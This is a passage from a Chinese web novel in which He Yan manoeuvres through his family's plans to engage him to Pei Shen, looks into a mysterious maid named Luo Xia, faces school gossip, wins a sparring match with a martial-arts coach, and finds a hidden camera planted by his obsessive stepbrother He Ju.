狭长的睫毛扯住了眼底的讽意,贺衍抬头看了贺忠载一眼,神情纠结又坚定:“我知道了,等到了圣洛莱索,我会努力搞好和裴屷的关系的,至少,至少让他不能像现在这样讨厌我。” 贺忠载饶有兴致地看着贺衍,他轻眯了下眼:“他讨厌你也无所谓,你们照样也会订婚的。不过,你之前不是很抗拒这件事,但最近这段时间,你的态度好像跟之前不一样了。” 贺忠载从书桌后面站了起来,他走近贺衍,居高临下地盯着他,忽然轻笑一声:“你能告诉我原因吗?我亲爱的儿子。” 终于问到这个问题了,贺衍的脸颊微微泛红,他抿着唇,手指不自觉地蜷缩了一下,看起来莫名羞涩起来。他喉结滚动,磕磕巴巴地说道:“我最开始,最开始不知道裴屷这么好。如果不是他,我可能已经被……” 贺衍“美化”了当初路德维格威胁自己的事情,在他的描述中,裴屷简直是脚踏七彩祥云的盖世英雄。 贺衍说完之后,忽然鼓起勇气抬头看向贺忠载:“父亲,您能确定我可以和裴屷订婚吗?裴屷现在这么讨厌我,裴副总统如果考虑裴屷的感受,他会不会不让我和裴屷在一起。” 他的人在医院蹲守了那么久,都没有发现贺衍有什么问题。贺忠载对贺衍的戒心已经低了很多,毕竟他现在已经无比确定,只要控制住了杨梅霞,贺衍就不可能脱离自己的掌控。 一个听话又能为自己所用的儿子,着实令人开心不是嘛。 贺忠载忽然笑出声来,或许是贺衍刚才的回答勉强让他满意,贺忠载难得耐心地跟贺衍解释了几句:“你知道裴行赫的老师是谁吗?” 裴行赫的老师,这又是什么谁,原著里根本提都没有提到过这个人。 贺衍此时的疑惑没有任何伪装,他摇了摇头,满脸问号。 贺忠载唇角的笑意扩大,他的视线越过贺衍,落在了窗外:“他的老师姓森,森铭学。森铭学是裴行赫的老师,或者说恩师也对。裴行赫能有今天,少不了森铭学为他铺路。” 森铭学,云里雾里的思绪一下子冲破屏障,贺衍顿时睁大了眼睛,森铭学是上上一任的联邦总统,现在大约五十多岁。 但即便裴行赫的老师是森铭学,但那又有什么关联呢。难道是森铭学给裴行赫下了命令,让他必须和贺家联姻;还是说贺忠载知道这两个人之间有龌龊,所以借此威胁裴行赫。 但前者太扯,后者又太没有逻辑。总感觉应该还有其他原因。 而且贺忠载既然把这个消息告诉自己,就说明这个消息不是秘密。贺衍眼底的疑惑十分直白,他望着贺忠载,希望他能够解答。 但贺忠载的耐心很显然已经耗尽了,他挑了下眉:“你关心这么多干什么,你只要记住,你能和裴屷在一起不就行了。” 贺家正在进行大扫除,每隔几步便有一个仆人正在打扫。 “贺衍少爷,午安。” 一路走过,贺衍已经听了无数人的问好。 午后的阳光和煦,风从半开的窗飘入书房内,带来了仆人们的低语。 “上次是不是就是她。” “就是那个女人,真是恶心,怪不得什么都不会,什么也不干都能留在这里。” 贺衍蹙了下眉,但并没有把这些话放在心上。 就在他走上楼梯准备回房间的时候,正在擦拭墙面的佣人身子一晃,忽然从凳子上重重摔下,抹布从她的手中滑落,啪叽一声掉在了地上。 这是一个年龄四十岁左右的中年女人,有些发根已是银白,但却并不显憔悴,反而带着一种古典的美感。 只是现在,她的脸色苍白如纸,额角也渗出了细密的冷汗。女人试图撑起身子,但最终还是无力摔倒在地上,嘴唇泛着不自然的青紫。 周围的仆人似乎谁也没注意到这边,没有人对这个女人投过来一丝关注。 贺衍本来还在琢磨贺忠载那些话的意思,忽然看到眼前倒下的人影,眼神一凛,快步上前将她扶了起来:“阿姨,你还好吗?” 她看起来有些低血糖,贺衍蹙了下眉。 “贺衍少爷,让我来扶着她吧。”穿着制服的另一个女人忽然出现在了贺衍身前,她没有等贺衍回答,就将那个女人拉到了自己身前,动作并不客气。 她扎着丸子头,年龄三十岁上下,眼神犀利,和周围其他佣人的穿着不同,她虽然也穿着佣人的服装,但款式和布料明显要更高级一些,胸前甚至带着属于自己的铭牌。 贺衍抬眸看了她一眼,这人是贺家的女管家,地位略次于贺叁。但贺衍见到她的次数不多,不过每次基本上都是在何眷蓉身边见到这位常管家的。 常佳吩咐了人给那个女人喂了一杯糖水,让人把她驾走了。随后她才笑着对贺衍说道:“少爷,让你见笑了。刚才那个人手脚不麻利,也不是第一次出现这种情况了。好像每次吩咐她干点什么活,都会出点病。” 这位常管家似乎很讨厌刚才那位女佣,但他对别人的事并不是很感兴趣。既然问题已经解决了,贺衍点了点头,正准备离开。 常佳却忽然小声地说道:“少爷,您现在有空吗?能不能借一步说话。” 贺衍眼皮抖了一下,总感觉不是什么好事。他正想拒绝,却看见常佳一脸凝重地看着自己。 常佳看了眼周围的人,抿着唇恳求道:“少爷,拜托了您,这件事很重要。” 她领着贺衍穿过长廊,这里的人比刚才那个地方要少很多。贺衍四下打量,这里刚好是监控的死角,只能拍到腰部以下。 …… 贺衍的无语简直快要从脸上溢出来,怪不得这位常管家要把自己带到这个地方说话。 “你的意思是,希望我能辞退刚才那个——” “罗霞。”常佳肯定地点了点头,“少爷,拜托您辞掉这个罗霞。” 贺衍挑了下眉:“可我无缘无故地为什么要辞退一个根本不认识的人。” 常佳看出贺衍似乎想要拒绝,她叹了口气,边摇头边说:“罗霞也算是贺家的老人了,来贺家满打满算也有六年了。但罗霞笨手笨脚,好吃懒做,贺家算是纯养着她,她是什么活都干不了。一点活上周还打碎了夫人心爱的花瓶……” 贺衍眉头蹙起,有些不耐烦了:“常管家,您到底为什么非得让我去辞退她。你清楚罗霞的确不适合在贺家当帮工,既然理由正当合适,那直接辞退不就行了。我还有其他事情,你请便吧。” 贺衍转身离开了,他捏了捏眉心,真是白白浪费了十几分钟。 常佳眼神闪烁了一瞬,她看着贺衍即将消失的背影。深呼一口气,加快脚步追了上去,拦住了贺衍。 “少爷,我告诉您实话,这件事其实是夫人让我拜托您的。”常佳目光直视贺衍,语气诚恳,姿态比刚才要恭敬很多:“其实,不是我不想辞退罗霞,而是我没办法辞退她。” 常佳长叹了一口气,眉梢间浮现了些许疲态:“当年是老爷执意要留下罗霞的,要是老爷不同意,谁也不敢辞退她。” 常佳还在说着:“罗霞那个女人长得就不是什么安分样。夫人不敢忤逆老爷,只能拜托您帮忙。” 贺衍的脚步停住了,他微眯了下眼,听这位常管家的意思,贺忠载和那个罗霞莫非有什么不正当的关系。婚外情?出轨? 贺衍挑了下眉,合着是把自己当冤大头了,但总感觉有一丝微妙的怪异。 第54章 第 54 章 微型监视器 第54章 这里是主宅之外的另外一栋小楼, 是贺家普通佣人住的地方,不过因为现在贺家在进行全体的大扫除,这里并没有多少人。 贺衍再次见到罗霞的时候, 她的脸色已经有了血色。 “刚才多谢您了。”罗霞眉眼微垂, 但姿态并不怯懦,她侧了下身子, 示意贺衍进来。 贺衍不着痕迹地观察着罗霞,他查了罗霞六年前入职时提供的资料,其他佣人都有最基本的背景调查,但罗霞却什么都没有,不仅没有进行信用记录和犯罪记录的调查, 更没有记录之前的工作经历。 如果何眷蓉真的对罗霞有如此之大的芥蒂, 那她肯定也查过罗霞的身份背景, 也绝对做过更细致深入的调查。 但罗霞现在还好好地在贺家待着,说明她这个身份没有问题。 只是,贺忠载到底和罗霞有什么关系。 他不认为常管家所说的就是对的。 贺忠载如果真打算搞婚外情, 直接在外面弄一套房子把人养在里面就行了。但是他非但没有这么干,反而把罗霞留在贺家当佣人。罗霞的房间, 虽说比其他佣人的房间要大上一些,但依旧是下人的房间。 甚至在这栋佣人楼中, 进门的第一眼看见的就是她这间房间。 罗霞给贺衍倒了一杯茶:“您过来找我, 是有什么事情吗?” 贺衍抬眸, 眼神中带着几分探究:“受人之托, 但也因为好奇。” 罗霞轻轻抿了一口茶,她避开贺衍的目光,视线微垂着落在手中的茶杯上:“您在好奇什么呢?” “只是在想,来贺家之前你在干什么?”贺衍直视罗霞。 她扯了下唇瓣, 露出了一个很浅的笑容,但很快,就移开了看向贺衍的视线,“我来这里之前也是下人,只是因为身体原因,都干不太长就被辞退了。” “不过,如果您也想辞退我的话,可能不会像之前那么简单。”罗霞又给自己倒了一杯茶。 她很镇定,语气也很平静。看起来对这种场面似乎司空见惯,可为什么她不敢看自己,是因为心虚,还是因为在撒谎。 贺衍冷不丁地问了一句:“你之前认识我吗?” 罗霞将手中的茶杯轻轻放下。 她眨了下眼,然后轻轻摇了摇头:“可能有些失礼,但在您来到贺家之前,我的确不知道您。” 微风悄然拂过,窗帘微微起伏,阳光透过缝隙洒进房间,落在了贺衍的杯中。 贺衍将罗霞的姓名和照片发送了过去,[帮我查一下她。] 贺衍点击发送的按钮,刚一抬头,便看见了站在这栋楼外的常佳。 常佳快步向贺衍走来。 “少爷,您已经和罗霞谈过了,那可以辞退她了吗?”常佳恳求的语气中夹杂着几分威胁:“夫人对您很看重,希望少爷不要让夫人失望了。” 贺衍的脚步忽然停住了,一团雾气攀上了他的眼眸,直白的语气里难掩伤心和失落:“所以,母亲之前对我好,就是为了让我帮她做事吗?” 怎么一点不敢常理出牌啊,而且这种问题她怎么回答,不管怎么说到时候都不讨好啊。常佳僵硬地笑了笑:“少爷,您怎么会这么想?” 贺衍定定地看着常佳,随后自嘲地扯了扯嘴角:“我知道了,但我不是那种人。母亲如果不喜欢我,没必要假装。” 糟了,常佳瞳孔猛缩,表情扭曲了一瞬。 “夫人她没有……”常佳嘴角嗫嚅,她试图解释,但贺衍似乎已经认定了某种想法。 常佳脸上的肌肉抽搐,眼巴巴地看着贺衍走远。 口袋里的手机震动了一下,裴屷回了一个好。 贺衍推开自己卧室的门,距离他上一次来这里,已经过了有两周的时间了。 贺衍正在收拾行李,目光忽然落在了床头的柜子上。 是两周前贺琚送他的生日礼物。 贺衍凝神望了几秒,又俯身将行李箱合上。待到一切都收拾完毕后,贺衍走到了床头柜前,打开了那个盒子。 他的神色平静,看起来并没有多少期待。 这是?贺衍的眉心轻蹙了下。 盒子内躺着一个精致的深色信封,封口处是一枚火漆印,纹路清晰,即使已经过了半月,但依旧能轻嗅到淡淡的蜡香。 信封的下面,放着一把钥匙。 他拿起钥匙端详,不是车钥匙,倒像是什么门上的。 贺衍把钥匙放到一边,拆开了信封,他本以为信封里会是贺琚给自己写的信,或许上面会解释一下那把钥匙是什么。 但拆开后,里面只有一张泛黄的羊皮纸,散发出淡淡的皮革与陈旧墨香。 纸上的字迹优雅流畅,墨色深沉,但这不是贺琚的字。 这是一封推荐信,一封推荐自己参加法律资格考试的推荐信,落款人是淮新高级法院的法官。 周一,圣洛莱索。 方盛寒摇了摇头,又使劲揉了揉眼睛,终于确定自己眼睛没花,前面那个身影就是贺衍。 他加快脚步,正准备跑过去追上贺衍。 “你说贺家到底在打什么算盘,贺衍也就算了,怎么贺琚这么多天也不来学校啊。我本来还想着趁他伤心失落的时候,去安慰他趁虚而入呢。” “就你,也不先照照镜子。” “嘘,你们听说了吗,上次的贺衍的生日宴会——” “你这消息早八百年都过时了,谁不知道裴屷去贺家那个私生子的生日宴了。我还听说裴屷和贺衍要订婚了呢。” “别打断我,我是想说,听说那天晚上,这俩人做了。”说话的人压低了声音,用那种贱兮兮的语调说着:“这消息绝对保真,贺家有个下人和我家的保姆是亲戚。” “我艹,但是我怎么听说裴屷根本不喜欢贺衍,而且还很讨厌他。与其说他喜欢贺衍,还不如说裴屷喜欢贺琚,后面那个可信度才更高好不好。” 方盛寒的脚步放慢了,他阴着一张脸走进那几个说话的人:“你们几个,刚才在编排什么呢。” “管你屁——”说话的男生看到方盛寒标志性的金发,吓得立刻噤声,“方少,早上好啊。” 这几个人打着哈哈,眨眼的工夫就跑得没影了。 贺琚和裴屷……方盛寒死死咬着后牙槽,好不容易把火压下去。再次抬眼的时候,早不见了贺衍的影子。 一班的教室。 贺衍走进的瞬间,嘈杂的声音瞬间停止了一瞬。 路德维格斜着眼悄悄看着贺衍,嫉妒和不甘的怒火在眸中跳跃,但眼底又夹杂着几丝复杂的贪恋。以往他看上的人,没有弄不到手的。但这次不仅没把贺衍搞到手,反而被他给将了一军。 埃迪·道蒂伸手在他眼前晃了晃:“路德,路德,跟你说话呢,你看什么——卧槽,贺衍怎么来了。” 埃迪·道蒂惊呼了一声,虽然他压低了声音,但是在安静的教室里依旧明显。 路德维格的呼吸停滞了一瞬,但贺衍的目光并没有如他想象的那般投注过来。他扯了扯嘴角,然后轻啧了一声。 路德维格敛眸,笔尖没有规律地乱画一通,他在一团墨迹里重重地写下了贺衍这两个字。 上课铃声打响了。 方盛寒踩点进了班,神色仿若多云转晴,眼底的阴鸷片刻便消失殆尽。 贺衍真的来了。 方盛寒从进来开始,视线便没有从贺衍的身上离开。 阳光在他周围晕开一层淡淡的光晕,发梢在光线中泛着淡淡的金边,随着微风轻轻晃动。他低头专注,侧脸线条干净利落,鼻梁高挺,下颌线分明。 方盛寒心跳加速,他一会儿要和贺衍说什么,第一句可以这么问…… 方盛寒组织了一节课的语言,一下课,他就冲到了贺衍面前,但是和贺衍对视了一瞬间。方盛寒的大脑一片空白,什么话都想不起来了。 “你,你真的要和裴屷订婚?” 他刚才说了什么,方盛寒傻愣在原地,懊悔地抿住了唇。本该声音嘈杂的课件随着方盛寒的这句话瞬间安静,几乎所有人的目光都凝聚到了贺衍和裴屷身上。 只是在接触到裴屷森冷视线的瞬间,那些偷窥的目光瞬间消散,但落在贺衍身上的目光却更加隐晦且嘲弄了。 方盛寒嘴巴张张合合:“贺衍,我,我刚才其实——” 贺衍面无表情地绕过了他,没有再分给他半分视线。 周二晚上,圣洛莱索论坛出现了一个新帖子,没过十分钟,这个帖子就已经标红牢牢挂在首页。 【PH值,懂得进】 [PH值是假的,P和H根本不对付,这两天他俩同框了,但是一句话,一句话都没说。而且我亲眼看见H不知廉耻地去接近P,但P根本不理H。P绝对非常非常讨厌H,我敢保证。] [+1他们根本不配好吗,H是什么垃圾也敢肖想P] [说起来,这个H真的挺牛的,一个小地方来的下等人,手段真的惊人啊,当初C不也是刚来就跟他看对眼了] [别扯其他的,这里是PH专区] [能不能换一个字母,另一个H也是H啊,骂人能不能别牵连别人] [人家现在可不是下等人,私生子的帽子不是被H他爹亲手摘下去了,真可怜另一个H] …… [你们为什么不信啊,他俩真的搞一起了,千真万确。说不定PH现在真的是PY] [楼上别在那里瞎逼逼,谁都知道P有多讨厌他,这学期开学到现在,P根本没理过H。他在马术课上都有一堆小动作去勾引P,谁知道上次是不是他又使了什么下作手段威胁P去他的生日宴。我好讨厌讨厌他,为什么P学长不来我的生日宴] …… 路德维格刷到了这个帖子的时候,帖子下面已经有了几百条回复。 路德维格收敛神色,他滑动屏幕,一串串地文字争先恐后地涌入眼中。几乎所有人都认为,是贺衍一厢情愿地缠着裴屷,不然他们都要订婚了,裴屷对他怎么会比之前更要生疏冷淡,甚至完全不和贺衍交谈。 路德维格把手机扔到了一边,眸中闪过几丝讽刺的笑意,带着几分自嘲。 如果不是那天晚上,他和这些人的想法可能也会一样。他比所有人都要清楚,裴屷对贺衍绝对不是表面上那么冷漠敷衍。 上次的他家拍卖行的事情是被他姐解决了,也因为这样,哈蒂现在比他更受重视。但是哈蒂是因为搭上了裴家这条线。 要知道裴家一直以来对他们卡森都是不假辞色。如果不是裴屷为了给贺衍撑腰,裴家怎么可能愿意帮卡森解决这件事。 除了这个原因,他实在想不出来别的解释。 论坛一片喧嚣,但贺衍却根本没有受到任何影响。 他盯着手机里的日历,满脑子都是接下来的剧情,距离贺琚的生日只剩下一周多的时间了。 按照原书剧情,贺琚的生日宴会比之前贺家所有宴会都要盛大,淮新的各界名流都被邀请参加了他的生日宴。 月光仿佛尽数落入了他的眼中,他的眼睛闪烁着细碎又坚定的光,他打算在贺琚生日的那天,把奶奶送出淮新。 周三下午。 贺衍提前半个小时出现在了散打教室内,等到学生零零散散地出现的时候,贺衍已经热身完毕了。 散打课男女分开教学,很明显散打不是很受这些贵族学生的欢迎,直到上课了才零零散散来了一些人。 “那是贺衍吧。” “我要是他,就直接不来学校了。我快烦死他了,看见他就心情不好。” “你小声点,别让他听见。再怎么说他也是贺家的少爷。” 他正说得起劲,嘴角带着讥讽的笑意,声音刻意压低却掩不住尖锐:“狗屁少爷,一个私生子还妄图取代贺琚的位置,他不会真以为自己能和裴屷联姻,癞蛤蟆吃天鹅肉,也不看看自己长什么——” 话音未落,他忽然察觉到一道目光,下意识抬眼,忽然僵住了——贺衍就站在那里,静静地望着他,那双眼睛深邃而平静,带着几丝漫不经心。 贺衍很快就移开了视线,根本没在他身上停留。 说话的那个男生的喉咙像是被什么堵住了,空气仿佛瞬间凝固,他的声音戛然而止,脸上的表情从得意转为尴尬,最后变成一丝慌乱,半句话都说不出来了。 教室有二百多平,但包括贺衍在内只有九个学生。 一个红毛藏在其他人的身后,避开了贺衍的视线。 这节课的教练是联邦著名的散打冠军范鹏义,五年前因伤病退役后就被聘到这里教学。 “虽然知道班里实际上应该有十个学生,但最后一个学生我是今天才看见。”范鹏义对着贺衍笑了笑,示意学生们开始热身。 十五分钟的热身结束。 范鹏义走到贺衍身边:“你之前学过散打吗,是初学者吗?” 这辈子他是从小实打实打出来的野路子,但上辈子他的确系统学过散打,贺衍想了一下:“应该不是。” 范鹏义眯了下眼,随后笑了一下:“应该不是,是就是不是就不是。” 范鹏义拍了拍手:“你们谁来和他对练一下。” 人群之中,一个鬼鬼祟祟的红发越退越后。范鹏义:“迈尔斯,你往后缩干什么。” 声音在空旷的教室内回响,人群自动散开。 贺衍的视线落在了那头红毛上,他眉梢一挑,对着迈尔斯笑了一下,老熟人啊。 迈尔斯尴尬地笑了笑,根本不敢和贺衍对视,他飞快地摇头拒绝:“那个,教练,你看错了我没往后退。而且,我今天有点不方便。” 他之前从来没想过学散打,要不是上次被贺衍给打怕了,他这会指不定在哪个插花品茶课摸鱼呢。 “别墨迹了,有什么不方便的。大大方方站出来,磨磨叽叽的还是不是男人。” 跟迈尔斯关系不错的男生替他站了出来,这是一个一看就是大块头的男生。 “教练,让我来吧,我跟他打。” 迈尔斯嘴角抽搐,感激的眼神中夹杂着某种复杂的情绪,“乔布,千万别以貌取人。” 乔布勾了勾唇,对着贺衍不屑地挑了下眉,一看就是个弱鸡,也不知道迈尔斯那小子怕什么。 一分钟后,被压在地上起不来的乔布终于懂得了刚才迈尔斯的眼神,他龇牙咧嘴地说道:“我认输。” 范鹏义笑了笑,“看来你的确不是初学者,既然如此,那你要挑战我吗?” 贺衍从乔布身上起来,他眉头微蹙:“您是什么意思?” 范鹏义活动了一下筋骨:“你之前没来可能不清楚。不过我这节课的规矩,什么时候都是这样。只要有人能把我打倒一次,以后的课你也可以不用来上。当然,如果你不想挑战我,就正常上课就好,不过我随时欢迎你来挑战。” 刚才范鹏义说这堂课有十个学生,他见的最后一个人是自己,看来这学期应该有人赢过他了。 自从上次被岑靳打倒,他这段时间一直没有松懈。能和联邦的散打冠军对练检验成果,贺衍挑眉,他舔了一下唇,眼里闪过几分跃跃欲试:“教练,能问一下之前是谁赢了你吗?” 范鹏义挠了挠头,有些不好意思地说道:“哦,是岑靳,你应该听过,不过听说他又请假了……贺衍,你没事吧。” 教室的另一边,乔布揉着肩膀,一脸沮丧地看着迈尔斯:“说起来你可能不敢相信,我站在上面,根本没有反应过来啊就被他给打趴下了。迈尔斯,你是怎么知道贺衍那么能打的?” 迈尔斯咽了口唾沫,干笑着敷衍过去了,他能说是因为他亲身经历被人暴打过吗。 乔布努了努嘴,示意迈尔斯看向那边,他耸了耸肩:“教练又开始他的新人第一课了。不过,你觉得谁能赢,我觉得肯定是教练,虽然刚才贺衍那小子打赢我了,但他又不是岑靳,怎么可能打得过教练。” 迈尔斯眨巴眨巴,揉了揉自己的头发,小声嘟囔了一句,那可说不定。 铃声一响,范鹏义完全不给反应的时间,一记扫腿直击贺衍的小腿。 贺衍踉跄后退,顺势一个跳跃躲开。范鹏义微微皱眉,继续逼近后连续出拳,他暗自咋舌,真是奇怪了,这小子的动作看似毫无章法,但每次都能险险躲过。 两个人又来回过了几十招。 汗水从贺衍的额间微微渗出,顺着他的下颌滑落,却丝毫不显狼狈,汗水衬得那张俊美的脸庞愈发夺目,反而增添了几分野性的魅力。 刚才跟同伴吐槽贺衍的那个男生目不转睛地盯着贺衍,喉结不自然地滚动了一下。 范鹏义不过愣神了一瞬,贺衍的右拳就从诡异角度击中了他的肋部。他闷哼一声,眼神中闪过一丝惊讶,眼神锐利起来。他猛地往前冲,抱住贺衍的腰将他重重摔在地上。 上次岑靳就是这样,他这些天无数次在脑海里模拟应对的办法。贺衍的眼神越来越亮,他眉梢轻挑,眸中闪烁着愉悦的神色。 贺衍微微眯眸,顺势拽住教练的衣领,借力翻身而起,腿部弯曲,一记凌厉的膝撞直击对方的腹部,把教练震得后退了两步。 看着教练被打,迈尔斯下意识地轻嘶了一声,整张脸皱在一起,仿佛被打的是他自己一样。 他眨着眼长舒了一口气,脑海里忽然飘过当初安东那张惨白的脸,无比庆幸当初自己的决定,果然不能得罪贺衍。 台上还在继续,范鹏义的攻击如暴风骤雨般向贺衍袭去。突然,贺衍一个假动作往右侧移动,但人却瞬间跃起,一记飞膝击中了范鹏义的下巴。 范鹏义做了一个停的手势,他捂着下巴含糊地说道:“点到为止即可,你已经过关了。” 贺衍听到教练的话,愣了一下,眼神中跃跃欲试的光芒还没散去。这就结束了,还没分出胜负呢。 “要是再打下去,我的老腰就受不住了。”范鹏义耸了耸肩,笑着说:“最开始我还以为你是个野路子,没想到后面——行了,你之后的课也可以不用来了,看你的架势,我能教的你应该也都会。” 范鹏义拍了拍贺衍的肩膀,有些遗憾地说道:“看你的实力,下面其他人估计都不是你的对手。可惜你几周前没来,不然还能和岑靳打一场,不知道能在他手下过几招。” 岑靳招式并不花哨却招招致命,但他的眼神是真正见过血的眼神。就算因为伤病,自己的实力大不如前。即便是以前他的巅峰时期,但要真是硬碰硬,他可能也打不过岑靳。 范鹏义摇着头叹息,忽然瞥见了对面贺衍的表情:“贺衍,那个,我不是说你比不过他。那个小子的路数是实打实的军队做派,招招都往人死穴上打。他……” 简直是越描越黑了。 迈尔斯一脸疑惑,不是说岑靳和贺衍关系很好嘛,怎么贺衍听到岑靳,表情会这么不爽。但他还没怎么细想,就不小心和贺衍对视一眼,被里面的杀气吓了一个激灵,瞬间把脑子里的东西甩到了脑后。 贺衍离开散打教室,回到了诺布莱斯区的别墅。 贺衍洗完澡,围着浴巾从浴室里走了出来,肌肉偾张,胸膛湿漉漉的,他边擦头发边走到了客厅。 手机铃声忽然响了,贺衍接了电话,含笑的声音如清泉般悦耳,上扬的尾音像是在撒娇一样:“哥哥,你居然接我电话啦,我决定把今天当成我的幸运日。对了,我这周六就回去了,哥哥想我吗?” “你怎么这个时间点给我打电话?”贺衍疑惑地蹙眉,敏锐地察觉到不太对劲,以往贺琚的电话都是在晚上,特别是这周他来学校之后,电话都是在放学之后才会打过来。 贺琚那边的声音诡异地停顿了片刻:“大概是我和哥哥心有灵犀,觉得现在哥哥肯定会接啊。” 贺衍冷着脸挂断了电话,他四处排查,在餐桌的摆件找到了一个微型监视器。 贺琚托着下巴,看着监控视频里骤然放大的脸,眼底的墨色翻滚,笑意反而更大了。哥哥好聪明啊,不过只找到了这一个而已。 贺琚点了点屏幕,放大了另一个视频画面,水中从贺衍微乱的黑发上滴落,划过修长的脖颈,蔓延至锁骨,肌理分明的腹肌,人鱼线性感分明,若隐若现没入浴巾之中。 那个伤口,原来又那么深吗。贺琚看着那两道有些狰狞的淡粉色的疤痕,眼底满是病态的偏执,他喃喃地念着贺衍的名字,手指划过贺衍的脸颊,落到了他精瘦的腰身上。 哥哥的一切,马上就要属于我了。 周五晚上。 在听完贺忠载的一番“谆谆教诲”后,贺衍回到了房间,他刚把自己摔到床上,手机就震动了一下,是裴屷的消息:[方便接电话吗,你上次问我的那个人,我查到一些眉目了。] 第55章 第 55 章 哥哥想我吗 第55章 两个小时前, 裴家。 今晚裴行赫并不在家,裴屷和祖父用过晚饭后,独自一人在庭院内散步。 夜色点染了天空, 只有西边的天际还残留着一抹淡淡的橙红, 但很快也被墨色浸染。月亮朦胧的轮廓挂在天际,洒下一层银白。 青石板路蜿蜒曲折, 两侧是修剪整齐的竹林,微风拂过,竹叶沙沙作响。流水间点缀着几盏八角灯,昏黄的光晕映在池塘上,泛起粼粼波光。 裴屷站在廊下, 脚步忽然顿住, 他打开了手机, 上次贺衍让他查的人并没有什么复杂的过往,似乎只是一个普通人。 但若真的普通,贺衍也不会拜托自己去调查她。 肯定是有什么忽略的地方。 裴屷点开照片, 屏幕上是一位中年女性的证件照,即使面容上留下了些许岁月的痕迹, 但依旧能看出年轻时的靓丽。 这个人,真的只是资料上贺家的一个普通的佣人吗? 听到身后的动静, 裴屷收起手机, 转身看了过去。 穿着黑色长衫的下人对着裴屷恭敬地点头:“少主, 夜色深了, 您小心着凉。” 裴屷平静的目光扫了他一眼。 下人注意到他的神色,拿着工具箱的右手动了一下,立刻低头解释道:“前面那里有盏灯坏了,我是来这里修理的。” 裴屷抬眸看了一眼, 路灯的确坏了一盏。此人从自己记事起便是家里的电工,裴屷没有疑他:“辛苦了。” 他转身迈步,与佣人擦肩。 电工站在原地,看着裴屷越走越远的背影,忽然放下工具箱,不顾礼节地跑着追了过去。 裴屷听到动静,停下了脚步,侧头看了他一眼,目光深邃如潭。 微风渐起,檐角挂着铜铃传来清脆的铃声,衬得身后的跑步声更加突兀了。 中年电工在距离裴屷一米之外的地方,忽然停住了脚步。 电工的嘴唇动了动,似乎想说些什么,却又咽了回去,喉咙滚动了一下,终于,他下定决心地说道:“少主,那个,我能看一眼您手里的那张照片吗?刚才我不小心瞥到了,并不是有意去看您的手机。” 裴屷没有在意他的失礼,只是询问道:“你认识她?” 电工仔细观察着照片,忽然失落地叹了一口气:“多谢您。她有点像我之前一起工作过的同事。刚才不经意间瞥到,恍惚了一下,现在看了看,应该也不是一个人。毕竟,我认识的那个姑娘,十几年前就已经去世了。” 电工见裴屷没有责罚的意思,正欲离开,却忽然听到裴屷的话,“你怎么和她认识的,又怎么知道她去世了?” 电工眼底满是伤感,并没有察觉到什么不对,但还是诚实地回答道:“十几年前,我来裴家之前,曾经在一位夫人家里干活。那个人就是那位夫人的贴身女仆,也是她把我招进去的。 那位夫人和丈夫长年分居,后来好像是因为夫人的丈夫工作调动,她要举家离开淮新。因为我不想离开淮新,在她家里干了半年之后就离开了。 但是她却跟着夫人离开去了别的州。也是过了一年后,我偶然听相熟的人说,她车祸去世了。” 电工的语气中带着浓浓的后悔和悲伤,他说完这些之后,忽然抹了几下眼。如果那个姑娘还活着,是不是现在也会是照片里这个样子。如果当初他鼓起勇气告白,是不是她就不会跟着夫人离开淮新了。 裴屷淡淡道了声谢,语气虽冷,却少了几分往日的疏离。 电工抿了下唇,双手不自觉地搓着,但终究还是没有说什么,转身离开了这里。他的背影在昏暗的光线下带着几分落寞。 贺衍若有所思地眯了下眼:“你是说,你家的电工可能认识罗霞。” “并不一定。”裴屷语气冷静地分析:“刚才发给你的资料你也看到了。他之前在一位姓林的夫人家工作,十八年前因为林夫人举家搬迁,才来到我家。” 十八年前?贺衍听到这个时间节点,眼睛忽然闪烁了一下。 裴屷点开资料,继续说道:“那位叫林娴的夫人的确有位女仆,但是并不叫罗霞,而是陈月香。” 他的手指轻叩桌面,异色双眸在光下愈发深邃:“后面我找来了陈月香的资料,和我家的电工所说的一样。她的长相和罗霞的确神似,但在跟着林夫人举家搬迁到其他州后的一年,她的户籍信息就被注销了,原因是车祸去世。” “至于那位叫林娴的夫人,注销户籍的时间也是在同一天。”裴屷的声线低醇,语速不紧不慢:“但因为时间过去太久,更多的资料无法找到,并不能确定她们搬去了哪里。罗霞和陈月香是否是同一个人?但如果她们是一个人,又会是谁帮她掩盖了这些信息。” 十八年前,真假少爷。罗霞和陈月香真的不是同一个人吗? 贺衍对裴屷道了声谢,挂断了电话。他站在窗前,望着窗外盈盈的月色,敛下了眸子,明天他要再去会一会罗霞。 周六,淮新多克医院。 守在医院的贺家保镖不足之前的三分之一,只留下了最开始蹲守的四个人。 微型耳机忽然传来声音:“刚才是不是贺琚少爷上去了?” “是吧,没注意看。” 紧接着又有一个不同的声线说话,语气里满是倦意:“好像是,也不知道老爷还留我们在这里干什么。每天在医院里待着,都二十多天了,我快无聊死了。” “好歹能坐着,反正工资照开还有外出补贴,我觉得挺好。”最后说话的那人又吸了一口奶茶,惬意地眯上了眼,注意力根本没有在医院出口那里,看着很是懒散。 其他三个人的状态也跟他大差不差。 贺琚从医院离开后,回到家跟贺忠载汇报了一下自己在姆扎州的工作情况。不过该说的他早在之前便已经和贺忠载沟通过了,因此没过一会儿,他便离开了。 贺琚走上楼梯,回到自己的房间,对着镜子整理了一下着装。调整到自己满意之后,他才推门走到了隔壁。但他敲了半天门却不见门内有任何动静。 路过的下人眨了眨眼睛,然后低声说道:“少爷,贺衍少爷刚才好像出去了,我记得他好像是往安宁楼去了。” 安宁楼是贺家下人的宿舍楼。哥哥去那里干什么? 贺琚满腹疑惑,迈步向那栋楼去。 他还未进入大楼,便看见发现贺衍正从里面走出来。贺琚抬眸,漫不经心地往后看了一眼,视线落在站在宿舍门口的人身上。 一个普普通通的中年妇女,哥哥来找她干什么。 贺琚狭长的眸子微眯,笑不见眼底。 罗霞注意到贺琚的视线,表情忽然一僵,随后对着贺琚恭敬地点了点头,关上了房间的门。 贺琚记住了她门前的房号,脚步不停地走到贺衍身边。 阳光似乎对贺琚格外眷恋,微卷的发丝泛着淡淡的金色光泽,皮肤在阳光下近乎透明,整个人仿佛笼罩在一层朦胧的光晕中,美得几乎令人屏息。 贺琚眉眼微微上挑,眼尾带着一丝慵懒的弧度,眸子里仿佛盛满了细碎的星光。他的唇角微微上扬,带着一抹似有若无的笑意,仿佛秋日的海棠,柔软而诱人。 贺琚凑到贺衍,眉梢眼角都是笑意:“哥哥,有没有想我啊?哥哥看出来我有哪里不一样了吗?” 